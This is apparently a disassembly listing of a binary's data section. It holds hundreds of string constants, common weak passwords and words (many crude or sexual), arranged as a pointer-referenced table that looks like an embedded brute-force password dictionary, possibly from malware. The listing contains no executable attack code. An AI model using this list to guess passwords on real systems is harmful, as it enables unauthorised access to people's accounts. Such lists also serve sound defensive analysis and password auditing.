aHello db 'hello',0 ; DATA XREF: .nsp0:004268A4o
align 10h
aHell db 'hell',0 ; DATA XREF: .nsp0:004268A0o
align 4
aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:0042689Co
align 4
aHeidi db 'heidi',0 ; DATA XREF: .nsp0:00426898o
align 4
aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:00426894o
align 4
aHeather db 'heather',0 ; DATA XREF: .nsp0:00426890o
aHeathen db 'heathen',0 ; DATA XREF: .nsp0:0042688Co
aHeat db 'heat',0 ; DATA XREF: .nsp0:00426888o
align 10h
aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:00426884o
align 4
aHead db 'head',0 ; DATA XREF: .nsp0:00426880o
align 4
aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:0042687Co
align 4
aHaven db 'haven',0 ; DATA XREF: .nsp0:00426878o
align 4
aHate db 'hate',0 ; DATA XREF: .nsp0:00426874o
align 4
aHarvey db 'harvey',0 ; DATA XREF: .nsp0:00426870o
align 4
aHarold db 'harold',0 ; DATA XREF: .nsp0:0042686Co
align 4
aHarmony db 'harmony',0 ; DATA XREF: .nsp0:00426868o
aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:00426864o
align 10h
aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:00426860o
align 4
aHard db 'hard',0 ; DATA XREF: .nsp0:0042685Co
align 4
aHappenin db 'happenin',0 ; DATA XREF: .nsp0:00426858o
align 10h
aHandjob db 'handjob',0 ; DATA XREF: .nsp0:00426854o
aHandily db 'handily',0 ; DATA XREF: .nsp0:00426850o
aHandel db 'handel',0 ; DATA XREF: .nsp0:0042684Co
align 4
aHamster db 'hamster',0 ; DATA XREF: .nsp0:00426848o
aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:00426844o
align 4
aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:00426840o
align 4
aHair db 'hair',0 ; DATA XREF: .nsp0:0042683Co
align 4
aHagar db 'hagar',0 ; DATA XREF: .nsp0:00426838o
align 4
aHacked db 'hacked',0 ; DATA XREF: .nsp0:00426834o
align 4
aHack db 'hack',0 ; DATA XREF: .nsp0:00426830o
align 4
aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0042682Co
align 4
aGumption db 'gumption',0 ; DATA XREF: .nsp0:00426828o
align 4
aGuitar db 'guitar',0 ; DATA XREF: .nsp0:00426824o
align 10h
aGuess db 'guess',0 ; DATA XREF: .nsp0:00426820o
align 4
aGucci db 'gucci',0 ; DATA XREF: .nsp0:0042681Co
align 10h
aGuardian db 'guardian',0 ; DATA XREF: .nsp0:00426818o
align 4
aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:00426814o
aGroup db 'group',0 ; DATA XREF: .nsp0:00426810o
align 4
aGreen db 'green',0 ; DATA XREF: .nsp0:0042680Co
align 4
aGreat db 'great',0 ; DATA XREF: .nsp0:00426808o
align 4
aGrant db 'grant',0 ; DATA XREF: .nsp0:00426804o
align 4
aGrand db 'grand',0 ; DATA XREF: .nsp0:00426800o
align 4
aGrahm db 'grahm',0 ; DATA XREF: .nsp0:004267FCo
align 4
aGraham db 'graham',0 ; DATA XREF: .nsp0:004267F8o
align 4
aGrades db 'grades',0 ; DATA XREF: .nsp0:004267F4o
align 4
aGovermen db 'govermen',0 ; DATA XREF: .nsp0:004267F0o
align 10h
aGouge db 'gouge',0 ; DATA XREF: .nsp0:004267ECo
align 4
aGosling db 'gosling',0 ; DATA XREF: .nsp0:004267E8o
aGorges db 'gorges',0 ; DATA XREF: .nsp0:004267E4o
align 4
aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:004267E0o
align 4
aGood db 'good',0 ; DATA XREF: .nsp0:004267DCo
align 4
aGolfer db 'golfer',0 ; DATA XREF: .nsp0:004267D8o
align 4
aGolf db 'golf',0 ; DATA XREF: .nsp0:004267D4o
align 4
aGolden db 'golden',0 ; DATA XREF: .nsp0:004267D0o
align 4
aGold db 'gold',0 ; DATA XREF: .nsp0:004267CCo
align 4
aGlacier db 'glacier',0 ; DATA XREF: .nsp0:004267C8o
aGirl db 'girl',0 ; DATA XREF: .nsp0:004267C4o
align 4
aGinger db 'ginger',0 ; DATA XREF: .nsp0:004267C0o
align 4
aGina db 'gina',0 ; DATA XREF: .nsp0:004267BCo
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:004267B8o
align 4
aGibson db 'gibson',0 ; DATA XREF: .nsp0:004267B4o
align 10h
aGhost db 'ghost',0 ; DATA XREF: .nsp0:004267B0o
align 4
aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:004267ACo
align 4
aGerm db 'germ',0 ; DATA XREF: .nsp0:004267A8o
align 4
aGeorge db 'george',0 ; DATA XREF: .nsp0:004267A4o
align 4
aGauss db 'gauss',0 ; DATA XREF: .nsp0:004267A0o
align 4
aGatt db 'gatt',0 ; DATA XREF: .nsp0:0042679Co
align 4
aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:00426798o
align 10h
aGateway db 'gateway',0 ; DATA XREF: .nsp0:00426794o
aGarfield db 'garfield',0 ; DATA XREF: .nsp0:00426790o
align 4
aGardner db 'gardner',0 ; DATA XREF: .nsp0:0042678Co
aGames db 'games',0 ; DATA XREF: .nsp0:00426788o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:00426784o
aFungible db 'fungible',0 ; DATA XREF: .nsp0:00426780o
align 4
aFunction db 'function',0 ; DATA XREF: .nsp0:0042677Co
align 4
aFudge db 'fudge',0 ; DATA XREF: .nsp0:00426778o
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:00426774o
aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:00426770o
align 4
aFucking db 'fucking',0 ; DATA XREF: .nsp0:0042676Co
aFucker db 'fucker',0 ; DATA XREF: .nsp0:00426768o
align 4
aFuck db 'fuck',0 ; DATA XREF: .nsp0:00426764o
align 4
aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:00426760o
align 4
aFrog db 'frog',0 ; DATA XREF: .nsp0:0042675Co
align 4
aFrighten db 'frighten',0 ; DATA XREF: .nsp0:00426758o
align 10h
aFriends db 'friends',0 ; DATA XREF: .nsp0:00426754o
aFriend db 'friend',0 ; DATA XREF: .nsp0:00426750o
align 10h
aFriday db 'friday',0 ; DATA XREF: .nsp0:0042674Co
align 4
aFrench db 'french',0 ; DATA XREF: .nsp0:00426748o
align 10h
aFreedom db 'freedom',0 ; DATA XREF: .nsp0:00426744o
aFree db 'free',0 ; DATA XREF: .nsp0:00426740o
align 10h
aFred db 'fred',0 ; DATA XREF: .nsp0:0042673Co
align 4
aFreak db 'freak',0 ; DATA XREF: .nsp0:00426738o
align 10h
aFrank db 'frank',0 ; DATA XREF: .nsp0:00426734o
align 4
aFrance db 'france',0 ; DATA XREF: .nsp0:00426730o
align 10h
aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0042672Co
aFourier db 'fourier',0 ; DATA XREF: .nsp0:00426728o
aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:00426724o
align 4
aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:00426720o
align 4
aFormat db 'format',0 ; DATA XREF: .nsp0:0042671Co
align 10h
aForm db 'form',0 ; DATA XREF: .nsp0:00426718o
align 4
aForever db 'forever',0 ; DATA XREF: .nsp0:00426714o
aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:00426710o
align 4
aFord db 'ford',0 ; DATA XREF: .nsp0:0042670Co
align 4
aForce db 'force',0 ; DATA XREF: .nsp0:00426708o
align 4
aFootball db 'football',0 ; DATA XREF: .nsp0:00426704o
align 4
aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:00426700o
align 4
aFool db 'fool',0 ; DATA XREF: .nsp0:004266FCo
align 4
aFood db 'food',0 ; DATA XREF: .nsp0:004266F8o
align 4
aFlowers db 'flowers',0 ; DATA XREF: .nsp0:004266F4o
aFlower db 'flower',0 ; DATA XREF: .nsp0:004266F0o
align 4
aFlorida db 'florida',0 ; DATA XREF: .nsp0:004266ECo
aFloat db 'float',0 ; DATA XREF: .nsp0:004266E8o
align 4
aFlakes db 'flakes',0 ; DATA XREF: .nsp0:004266E4o
align 4
aFishers db 'fishers',0 ; DATA XREF: .nsp0:004266E0o
aFirewall db 'firewall',0 ; DATA XREF: .nsp0:004266DCo
align 10h
aFire db 'fire',0 ; DATA XREF: .nsp0:004266D8o
align 4
aFinite db 'finite',0 ; DATA XREF: .nsp0:004266D4o
align 10h
aFile db 'file',0 ; DATA XREF: .nsp0:0040BC98o
; .nsp0:0040BD03o ...
align 4
aFight db 'fight',0 ; DATA XREF: .nsp0:004266CCo
align 10h
aField db 'field',0 ; DATA XREF: .nsp0:004266C8o
align 4
aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:004266C4o
align 4
aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:004266C0o
aFermat db 'fermat',0 ; DATA XREF: .nsp0:004266BCo
align 4
aFender db 'fender',0 ; DATA XREF: .nsp0:004266B8o
align 4
aFelicia db 'felicia',0 ; DATA XREF: .nsp0:004266B4o
aFeds db 'feds',0 ; DATA XREF: .nsp0:004266B0o
align 4
aFear db 'fear',0 ; DATA XREF: .nsp0:004266ACo
align 4
aFast db 'fast',0 ; DATA XREF: .nsp0:004266A8o
align 4
aFart db 'fart',0 ; DATA XREF: .nsp0:004266A4o
align 4
aFaraday db 'faraday',0 ; DATA XREF: .nsp0:004266A0o
aFarad db 'farad',0 ; DATA XREF: .nsp0:0042669Co
align 4
aFamily db 'family',0 ; DATA XREF: .nsp0:00426698o
align 4
aFalse db 'false',0 ; DATA XREF: .nsp0:00426694o
align 4
aFalcon db 'falcon',0 ; DATA XREF: .nsp0:00426690o
align 4
aFaith db 'faith',0 ; DATA XREF: .nsp0:0042668Co
align 4
aFairway db 'fairway',0 ; DATA XREF: .nsp0:00426688o
aExtensio db 'extensio',0 ; DATA XREF: .nsp0:00426684o
align 4
aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:00426680o
align 4
aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0042667Co
align 10h
aExplore db 'explore',0 ; DATA XREF: .nsp0:00426678o
aExplode db 'explode',0 ; DATA XREF: .nsp0:00426674o
aExpert db 'expert',0 ; DATA XREF: .nsp0:00426670o
align 4
aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0042666Co
align 10h
aEuclid db 'euclid',0 ; DATA XREF: .nsp0:00426668o
align 4
aEternity db 'eternity',0 ; DATA XREF: .nsp0:00426664o
align 4
aEstate db 'estate',0 ; DATA XREF: .nsp0:00426660o
align 4
aEstablis db 'establis',0 ; DATA XREF: .nsp0:0042665Co
align 4
aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:00426658o
align 10h
aErotic db 'erotic',0 ; DATA XREF: .nsp0:00426654o
align 4
aErin db 'erin',0 ; DATA XREF: .nsp0:00426650o
align 10h
aErika db 'erika',0 ; DATA XREF: .nsp0:0042664Co
align 4
aErica db 'erica',0 ; DATA XREF: .nsp0:00426648o
align 10h
aEric db 'eric',0 ; DATA XREF: .nsp0:00426644o
align 4
aErenity db 'erenity',0 ; DATA XREF: .nsp0:00426640o
aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0042663Co
align 4
aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:00426638o
align 4
aEnter db 'enter',0 ; DATA XREF: .nsp0:00426634o
align 4
aEnglish db 'english',0 ; DATA XREF: .nsp0:00426630o
aEngland db 'england',0 ; DATA XREF: .nsp0:0042662Co
aEngineer db 'engineer',0 ; DATA XREF: .nsp0:00426628o
align 4
aEngine db 'engine',0 ; DATA XREF: .nsp0:00426624o
align 10h
aEnemy db 'enemy',0 ; DATA XREF: .nsp0:00426620o
align 4
aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0042661Co
align 4
aEmily db 'emily',0 ; DATA XREF: .nsp0:00426618o
align 4
aEmerald db 'emerald',0 ; DATA XREF: .nsp0:00426614o
aEmail db 'email',0 ; DATA XREF: .nsp0:00426610o
align 4
aEllen db 'ellen',0 ; DATA XREF: .nsp0:0042660Co
align 4
aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:00426608o
align 10h
aElephant db 'elephant',0 ; DATA XREF: .nsp0:00426604o
align 4
aElectron db 'electron',0 ; DATA XREF: .nsp0:00426600o
align 4
aElanor db 'elanor',0 ; DATA XREF: .nsp0:004265FCo
align 10h
aElaine db 'elaine',0 ; DATA XREF: .nsp0:004265F8o
align 4
aEinstein db 'einstein',0 ; DATA XREF: .nsp0:004265F4o
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:004265F0o
align 10h
aEileen db 'eileen',0 ; DATA XREF: .nsp0:004265ECo
align 4
aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:004265E8o
align 4
aEgghead db 'egghead',0 ; DATA XREF: .nsp0:004265E4o
aEdwina db 'edwina',0 ; DATA XREF: .nsp0:004265E0o
align 4
aEdwin db 'edwin',0 ; DATA XREF: .nsp0:004265DCo
align 4
aEducatio db 'educatio',0 ; DATA XREF: .nsp0:004265D8o
align 4
aEducation db 'education',0 ; DATA XREF: .nsp0:004265D4o
align 4
aEdition db 'edition',0 ; DATA XREF: .nsp0:004265D0o
aEdit db 'edit',0 ; DATA XREF: .nsp0:004265CCo
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:004265C8o
align 10h
aEdges db 'edges',0 ; DATA XREF: .nsp0:004265C4o
align 4
aEddie db 'eddie',0 ; DATA XREF: .nsp0:004265C0o
align 10h
aEcho db 'echo',0 ; DATA XREF: .nsp0:004265BCo
align 4
aEatme db 'eatme',0 ; DATA XREF: .nsp0:004265B8o
align 10h
aEasy db 'easy',0 ; DATA XREF: .nsp0:004265B4o
align 4
aEasier db 'easier',0 ; DATA XREF: .nsp0:004265B0o
align 10h
aEarth db 'earth',0 ; DATA XREF: .nsp0:004265ACo
align 4
aEagle db 'eagle',0 ; DATA XREF: .nsp0:004265A8o
align 10h
aEager db 'eager',0 ; DATA XREF: .nsp0:004265A4o
align 4
aDyke db 'dyke',0 ; DATA XREF: .nsp0:004265A0o
align 10h
aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0042659Co
aDuncan db 'duncan',0 ; DATA XREF: .nsp0:00426598o
align 10h
aDulce db 'dulce',0 ; DATA XREF: .nsp0:00426594o
align 4
aDuke db 'duke',0 ; DATA XREF: .nsp0:00426590o
align 10h
aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0042658Co
aDude db 'dude',0 ; DATA XREF: .nsp0:00426588o
align 10h
aDuck db 'duck',0 ; DATA XREF: .nsp0:00426584o
align 4
aDrought db 'drought',0 ; DATA XREF: .nsp0:00426580o
aDrive db 'drive',0 ; DATA XREF: .nsp0:0042657Co
align 4
aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:00426578o
align 10h
aDragon db 'dragon',0 ; DATA XREF: .nsp0:00426574o
align 4
aDownload db 'download',0 ; DATA XREF: .nsp0:00426570o
align 4
aDope db 'dope',0 ; DATA XREF: .nsp0:0042656Co
align 4
aDoors db 'doors',0 ; DATA XREF: .nsp0:00426568o
align 4
aDoor db 'door',0 ; DATA XREF: .nsp0:00426564o
align 4
aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:00426560o
align 4
aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:0042655Co
align 4
aDoomii db 'doomii',0 ; DATA XREF: .nsp0:00426558o
align 4
aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:00426554o
align 4
aDoom db 'doom',0 ; DATA XREF: .nsp0:00426550o
align 4
aDong db 'dong',0 ; DATA XREF: .nsp0:0042654Co
align 4
aDollar db 'dollar',0 ; DATA XREF: .nsp0:00426548o
align 4
aDoctor db 'doctor',0 ; DATA XREF: .nsp0:00426544o
align 4
aDisplay db 'display',0 ; DATA XREF: .nsp0:00426540o
aDisney db 'disney',0 ; DATA XREF: .nsp0:0042653Co
align 4
aDiskette db 'diskette',0 ; DATA XREF: .nsp0:00426538o
align 10h
aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:00426534o
align 4
aDiscover db 'discover',0 ; DATA XREF: .nsp0:00426530o
align 4
aDisclose db 'disclose',0 ; DATA XREF: .nsp0:0042652Co
align 10h
aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:00426528o
align 4
aDisc db 'disc',0 ; DATA XREF: .nsp0:00426524o
align 4
aDirty db 'dirty',0 ; DATA XREF: .nsp0:00426520o
align 4
aDirector db 'director',0 ; DATA XREF: .nsp0:0042651Co
align 4
aDirect db 'direct',0 ; DATA XREF: .nsp0:00426518o
align 10h
aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:00426514o
aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:00426510o
align 4
aDigital db 'digital',0 ; DATA XREF: .nsp0:0042650Co
aDieter db 'dieter',0 ; DATA XREF: .nsp0:00426508o
align 4
aDiet db 'diet',0 ; DATA XREF: .nsp0:00426504o
align 4
aDiehard db 'diehard',0 ; DATA XREF: .nsp0:00426500o
aDick db 'dick',0 ; DATA XREF: .nsp0:004264FCo
align 4
aDice db 'dice',0 ; DATA XREF: .nsp0:004264F8o
align 4
aDiane db 'diane',0 ; DATA XREF: .nsp0:004264F4o
align 4
aDiana db 'diana',0 ; DATA XREF: .nsp0:004264F0o
align 4
aDiamond db 'diamond',0 ; DATA XREF: .nsp0:004264ECo
aDial db 'dial',0 ; DATA XREF: .nsp0:004264E8o
align 4
aDevice db 'device',0 ; DATA XREF: .nsp0:004264E4o
align 4
aDevelop db 'develop',0 ; DATA XREF: .nsp0:004264E0o
aDesperat db 'desperat',0 ; DATA XREF: .nsp0:004264DCo
align 10h
aDesktop db 'desktop',0 ; DATA XREF: .nsp0:004264D8o
aDesk db 'desk',0 ; DATA XREF: .nsp0:004264D4o
align 10h
aDesiree db 'desiree',0 ; DATA XREF: .nsp0:004264D0o
aDennis db 'dennis',0 ; DATA XREF: .nsp0:004264CCo
align 10h
aDenise db 'denise',0 ; DATA XREF: .nsp0:004264C8o
align 4
aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:004264C4o
align 4
aDeluge db 'deluge',0 ; DATA XREF: .nsp0:004264C0o
align 4
aDelta db 'delta',0 ; DATA XREF: .nsp0:004264BCo
align 4
aDefoe db 'defoe',0 ; DATA XREF: .nsp0:004264B8o
align 4
aDefault db 'DEFAULT',0 ; DATA XREF: .nsp0:004264B4o
aDeck db 'deck',0
align 4
aDecember db 'december',0
align 4
aDebug db 'debug',0
align 10h
aDeborah db 'deborah',0
aDebbie db 'debbie',0
align 10h
aDeathsta db 'deathsta',0
align 4
aDead db 'dead',0
align 4
aDawn db 'dawn',0
align 4
aDave db 'dave',0
align 4
aData db 'data',0
align 4
aDarkaven db 'darkaven',0
align 4
aDark db 'dark',0
align 10h
aDapper db 'dapper',0
align 4
aDanny db 'danny',0
align 10h
aDanielle db 'danielle',0
align 4
aDaniel db 'daniel',0
align 4
aDancer db 'dancer',0
align 4
aDana db 'dana',0
align 4
aDaisy db 'daisy',0
align 4
aDaemon db 'daemon',0
align 4
aCynthia db 'cynthia',0
aCyberspa db 'cyberspa',0
align 4
aCyberpun db 'cyberpun',0
align 4
aCyber db 'cyber',0
align 4
aCustomer db 'customer',0
align 4
aCunt db 'cunt',0
align 10h
aCshrc db 'cshrc',0
align 4
aCrystal db 'crystal',0
aCristina db 'cristina',0
align 4
aCriminal db 'criminal',0
align 4
aCrime db 'crime',0
align 10h
aCretin db 'cretin',0
align 4
aCreosote db 'creosote',0
align 4
aCredit db 'credit',0
align 4
aCreature db 'creature',0
align 4
aCreation db 'creation',0
align 4
aCreate db 'create',0
align 4
aCream db 'cream',0
align 4
aCrackpot db 'crackpot',0
align 10h
aCrack db 'crack',0
align 4
aCowboy db 'cowboy',0
align 10h
aCouscous db 'couscous',0
align 4
aCountry db 'country',0
aCounters db 'counters',0
align 10h
aCorrect db 'correct',0
aCorneliu db 'corneliu',0
align 4
aCopy db 'copy',0
align 4
aCops db 'cops',0
align 4
aCopper db 'copper',0
align 4
aCooper db 'cooper',0
align 4
aCool db 'cool',0
align 4
aCookie db 'cookie',0
align 4
aCookbook db 'cookbook',0
align 10h
aCook db 'cook',0
align 4
aContinue db 'continue',0 ; DATA XREF: .nsp0:0040BED6o
align 4
aConsole db 'console',0
aConserva db 'conserva',0
align 4
aConnie db 'connie',0
align 10h
aCondom db 'condom',0
align 4
aCondo db 'condo',0
align 10h
aComrades db 'comrades',0
align 4
aComrade db 'comrade',0
aComputin db 'computin',0
align 10h
aCompany db 'company',0
aCommrade db 'commrade',0
align 4
aCommit db 'commit',0
align 4
aComics db 'comics',0
align 4
aCombat db 'combat',0
align 4
aColor db 'color',0
align 4
aCollins db 'collins',0
aCold db 'cold',0
align 4
aCola db 'cola',0
align 4
aCoke db 'coke',0
align 4
aCoin db 'coin',0
align 4
aCoffee db 'coffee',0
align 4
aCodeword db 'codeword',0
align 10h
aCodename db 'codename',0
align 4
aCode db 'code',0
align 4
aCock db 'cock',0
align 4
aCocainco db 'cocainco',0
align 4
aCocacola db 'cocacola',0
align 4
aCoast db 'coast',0
align 4
aClusters db 'clusters',0
align 4
aCluster db 'cluster',0
aClinton db 'clinton',0
aCleavage db 'cleavage',0
align 4
aClaymore db 'claymore',0
align 10h
aClaudia db 'claudia',0
aClassic db 'classic',0
aClasses db 'classes',0
aClass db 'class',0
align 10h
aCindy db 'cindy',0
align 4
aCigarett db 'cigarett',0
align 4
aCigar db 'cigar',0
align 4
aChristy db 'christy',0
aChristin db 'christin',0
align 10h
aChris db 'chris',0
align 4
aChip db 'chip',0
align 10h
aChester db 'chester',0
aChess db 'chess',0
align 10h
aChemistr db 'chemistr',0
align 4
aChem db 'chem',0
align 4
aChat db 'chat',0
align 4
aCharon db 'charon',0
align 4
aCharming db 'charming',0
align 10h
aCharlie db 'charlie',0
aCharles db 'charles',0
aCharity db 'charity',0
aChange db 'change',0
align 10h
aCerulean db 'cerulean',0
align 4
aCeltics db 'celtics',0
aCeltic db 'celtic',0
align 4
aCelt db 'celt',0
align 4
aCecily db 'cecily',0
align 4
aCayuga db 'cayuga',0
align 4
aCave db 'cave',0
align 4
aCathy db 'cathy',0
align 4
aCatholic db 'catholic',0
align 10h
aCatherin db 'catherin',0
align 4
aCastle db 'castle',0
align 4
aCash db 'cash',0
align 4
aCascades db 'cascades',0
align 4
aCarson db 'carson',0
align 10h
aCarrie db 'carrie',0
align 4
aCaroline db 'caroline',0
align 4
aCarolina db 'carolina',0
align 10h
aCarole db 'carole',0
align 4
aCarol db 'carol',0
align 10h
aCarmen db 'carmen',0
align 4
aCarla db 'carla',0
align 10h
aCaren db 'caren',0
align 4
aCardinal db 'cardinal',0
align 4
aCard db 'card',0
align 4
aCapture db 'capture',0
aCaptain db 'captain',0
aCantor db 'cantor',0
align 4
aCandy db 'candy',0
align 4
aCandi db 'candi',0
align 4
aCamping db 'camping',0
aCampanil db 'campanil',0
align 4
aCamille db 'camille',0
aCaliforn db 'californ',0
align 4
aButthead db 'butthead',0
align 4
aButt db 'butt',0
align 10h
aButch db 'butch',0
align 4
aBurn db 'burn',0
align 10h
aBurgess db 'burgess',0
aBung db 'bung',0
align 10h
aBumbling db 'bumbling',0
align 4
aBullshit db 'bullshit',0
align 4
aBulls db 'bulls',0
align 10h
aBrutefor db 'brutefor',0
align 4
aBrute db 'brute',0
align 4
aBrunette db 'brunette',0
align 10h
aBrothel db 'brothel',0
aBroadway db 'broadway',0
align 4
aBridget db 'bridget',0
aBrian db 'brian',0
align 4
aBrenda db 'brenda',0
align 4
aBreast db 'breast',0
align 4
aBreak db 'break',0
align 4
aBravo db 'bravo',0
align 4
aBrandy db 'brandy',0
align 4
aBrandi db 'brandi',0
align 4
aBradley db 'bradley',0
aBoyscout db 'boyscout',0
align 4
aBorn db 'born',0
align 10h
aBook db 'book',0
align 4
aBoobs db 'boobs',0
align 10h
aBoob db 'boob',0
align 4
aBoner db 'boner',0
align 10h
aBomb db 'bomb',0
align 4
aBoard db 'board',0
align 10h
aBlues db 'blues',0
align 4
aBlue db 'blue',0
align 10h
aBlowjob db 'blowjob',0
aBlow db 'blow',0
align 10h
aBloodaxe db 'bloodaxe',0
align 4
aBlood db 'blood',0
align 4
aBlondie db 'blondie',0
aBlonde db 'blonde',0
align 4
aBlack db 'black',0
align 4
aBitnet db 'bitnet',0
align 4
aBitmap db 'bitmap',0
align 4
aBitch db 'bitch',0
align 4
aBishop db 'bishop',0
align 4
aBird db 'bird',0
align 4
aBios db 'bios',0
align 4
aBinary db 'binary',0
align 4
aBill db 'bill',0
align 4
aBigfoot db 'bigfoot',0
aBicamera db 'bicamera',0
align 10h
aBible db 'bible',0
align 4
aBeverly db 'beverly',0
aBetty db 'betty',0
align 4
aBetsie db 'betsie',0
align 10h
aBeth db 'beth',0
align 4
aBeta db 'beta',0
align 10h
aBeryl db 'beryl',0
align 4
aBerliner db 'berliner',0
align 4
aBerlin db 'berlin',0
align 4
aBerkeley db 'berkeley',0
align 4
aBeowulf db 'beowulf',0
aBenz db 'benz',0
align 4
aBeloved db 'beloved',0
aBell db 'bell',0
align 4
aBehead db 'behead',0
align 10h
aBegin db 'begin',0
align 4
aBeethove db 'beethove',0
align 4
aBecky db 'becky',0
align 4
aBeaver db 'beaver',0
align 4
aBeauty db 'beauty',0
align 4
aBeater db 'beater',0
align 4
aBeast db 'beast',0
align 4
aBear db 'bear',0
align 4
aBeammeup db 'beammeup',0
align 10h
aBeach db 'beach',0
align 4
aBatman db 'batman',0
align 10h
aBatch db 'batch',0
align 4
aBassoon db 'bassoon',0
aBass db 'bass',0
align 4
aBasic db 'basic',0
align 10h
aBaseball db 'baseball',0
align 4
aBartman db 'bartman',0
aBart db 'bart',0
align 4
aBaritone db 'baritone',0
align 4
aBarf db 'barf',0
align 10h
aBare db 'bare',0
align 4
aBarber db 'barber',0
align 10h
aBarbara db 'barbara',0
aBanks db 'banks',0
align 10h
aBank db 'bank',0
align 4
aBandit db 'bandit',0
align 10h
aBananas db 'bananas',0
aBanana db 'banana',0
align 10h
aBall db 'ball',0 ; DATA XREF: .nsp0:004260FCo
align 4
aBailey db 'bailey',0 ; DATA XREF: .nsp0:004260F8o
align 10h
aBadass db 'badass',0 ; DATA XREF: .nsp0:004260F4o
align 4
aBackdoor db 'backdoor',0
align 4
aBacchus db 'bacchus',0
aBaby db 'baby',0
align 4
aBabe db 'babe',0
align 4
aAzure db 'azure',0
align 4
aAztecs db 'aztecs',0
align 4
aAuthoriz db 'authoriz',0
align 4
aAttack db 'attack',0
align 10h
aAtom db 'atom',0
align 4
aAtmosphe db 'atmosphe',0
align 4
aAthena db 'athena',0
align 4
aAsshole db 'asshole',0
aAsian db 'asian',0
align 4
aArtist db 'artist',0
align 4
aArthur db 'arthur',0
align 4
aArrow db 'arrow',0
align 4
aArmy db 'army',0
align 4
aArlene db 'arlene',0
align 4
aAriadne db 'ariadne',0
aAria db 'aria',0
align 4
aApril db 'april',0
align 4
aApollo13 db 'apollo13',0
align 4
aAnything db 'anything',0
align 4
aAnvils db 'anvils',0
align 4
aAnthropo db 'anthropo',0
align 4
aAnthrax db 'anthrax',0
aAnswer db 'answer',0
align 4
aAnonymou db 'anonymou',0
align 4
aAnon db 'anon',0
align 4
aAnnette db 'annette',0
aAnne db 'anne',0
align 4
aAnna db 'anna',0
align 4
aAnita db 'anita',0
align 4
aAnimals db 'animals',0
aAnimal db 'animal',0
align 4
aAngie db 'angie',0
align 4
aAngerine db 'angerine',0
align 10h
aAngela db 'angela',0
align 4
aAnfo db 'anfo',0
align 10h
aAndy db 'andy',0
align 4
aAndromac db 'andromac',0
align 4
aAndroid db 'android',0
aAndrea db 'andrea',0
align 4
aAnchor db 'anchor',0
align 4
aAnarchy db 'anarchy',0
aAnarchis db 'anarchis',0
align 10h
aAnalog db 'analog',0
align 4
aAnal db 'anal',0
align 10h
aAmorphou db 'amorphou',0
align 4
aAmerica db 'america',0
aAmber db 'amber',0
align 4
aAmanda db 'amanda',0
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:00426020o
aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0042601Co
align 4
aAllow db 'allow',0 ; DATA XREF: .nsp0:00426018o
align 10h
aAllison db 'allison',0 ; DATA XREF: .nsp0:00426014o
aAlison db 'alison',0 ; DATA XREF: .nsp0:00426010o
align 10h
aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0042600Co
align 4
aAlicia db 'alicia',0 ; DATA XREF: .nsp0:00426008o
align 10h
aAlice db 'alice',0 ; DATA XREF: .nsp0:00426004o
align 4
aAliases db 'aliases',0 ; DATA XREF: .nsp0:00426000o
aAlias db 'alias',0 ; DATA XREF: .nsp0:00425FFCo
align 4
aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:00425FF8o
aAlexande db 'alexande',0 ; DATA XREF: .nsp0:00425FF4o
align 4
aAlex db 'alex',0 ; DATA XREF: .nsp0:00425FF0o
align 4
aAlert db 'alert',0 ; DATA XREF: .nsp0:00425FECo
align 4
aAlbert db 'albert',0 ; DATA XREF: .nsp0:00425FE8o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:00425FE4o
align 10h
aAlbany db 'albany',0 ; DATA XREF: .nsp0:00425FE0o
align 4
aAlaska db 'alaska',0 ; DATA XREF: .nsp0:00425FDCo
align 10h
aAirplane db 'airplane',0 ; DATA XREF: .nsp0:00425FD8o
align 4
aAids db 'aids',0 ; DATA XREF: .nsp0:00425FD4o
align 4
